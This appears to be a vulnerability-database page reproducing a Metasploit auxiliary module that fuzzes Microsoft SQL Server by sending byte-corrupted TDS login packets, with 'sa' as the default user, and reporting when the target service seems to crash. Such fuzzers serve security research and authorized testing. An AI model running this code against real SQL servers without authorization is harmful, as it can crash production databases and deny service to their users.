Lucene search

K

TDS Protocol Login Request Corruption Fuzzer

🗓️ 25 Oct 2009 01:15:51Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

TDS Protocol Login Request Corruption Fuzzer module sends malformed TDS login requests

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL
  include Msf::Auxiliary::Fuzzer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TDS Protocol Login Request Corruption Fuzzer',
      'Description'    => %q{
        This module sends a series of malformed TDS login requests.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE
    ))
  end

  # A copy of the mssql_login method with the ability to overload each option
  def make_login(opts={})

    pkt = ""
    idx = 0
    db = ""

    pkt << [
      0x00000000,   # Dummy size
      opts[:tds_version]    || 0x71000001,   # TDS Version
      opts[:size]           || 0x00000000,   # Size
      opts[:version]        || 0x00000007,   # Version
      opts[:pid]            || rand(1024+1), # PID
      opts[:connection_id]  || 0x00000000,   # ConnectionID
      opts[:flags_opt1]     || 0xe0,         # Option Flags 1
      opts[:flags_opt2]     || 0x03,         # Option Flags 2
      opts[:flags_sql_type] || 0x00,         # SQL Type Flags
      opts[:flags_reserved] || 0x00,         # Reserved Flags
      opts[:timezone]       || 0x00000000,   # Time Zone
      opts[:collation]      || 0x00000000    # Collation
    ].pack('VVVVVVCCCCVV')


    cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) )
    uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
    pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
    aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
    sname = Rex::Text.to_unicode( opts[:sname] || rhost )
    dname = Rex::Text.to_unicode( opts[:dname] || db )

    idx = pkt.size + 50 # lengths below

    pkt << [idx, cname.length / 2].pack('vv')
    idx += cname.length

    pkt << [idx, uname.length / 2].pack('vv')
    idx += uname.length

    pkt << [idx, pname.length / 2].pack('vv')
    idx += pname.length

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, sname.length / 2].pack('vv')
    idx += sname.length

    pkt << [0, 0].pack('vv')

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, 0].pack('vv')

    pkt << [idx, dname.length / 2].pack('vv')
    idx += dname.length

    # The total length has to be embedded twice more here
    pkt << [
      0,
      0,
      0x12345678,
      0x12345678
    ].pack('vVVV')

    pkt << cname
    pkt << uname
    pkt << pname
    pkt << aname
    pkt << sname
    pkt << aname
    pkt << dname

    # Total packet length
    pkt[0,4] = [pkt.length].pack('V')

    # Embedded packet lengths
    pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2

    # Packet header and total length including header
    pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt

    pkt
  end

  def do_login(pkt,opts={})
    @connected = false
    disconnect if self.sock
    connect
    @connected = true

    resp = mssql_send_recv(pkt,opts[:timeout])

    info = {:errors => []}
    info = mssql_parse_reply(resp,info)
    info
  end

  def run
    last_str = nil
    last_inp = nil
    last_err = nil

    pkt = make_login
    cnt = 0
    fuzz_string_corrupt_byte_reverse(pkt) do |str|
      cnt += 1

      if(cnt % 100 == 0)
        print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
      end

      begin
        do_login(str,:timeout => 0.50)
      rescue ::Interrupt
        print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
        raise $!
      rescue ::Exception => e
        last_err = e
      ensure
        disconnect
      end

      if(not @connected)
        if(last_str)
          print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
        else
          print_status("Could not connect to the service: #{last_err}")
        end
        return
      end

      last_str = str
      last_inp = @last_fuzzer_input
    end
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
25 Oct 2009 01:51Current
0.5Low risk
Vulners AI Score0.5
24
.json
Report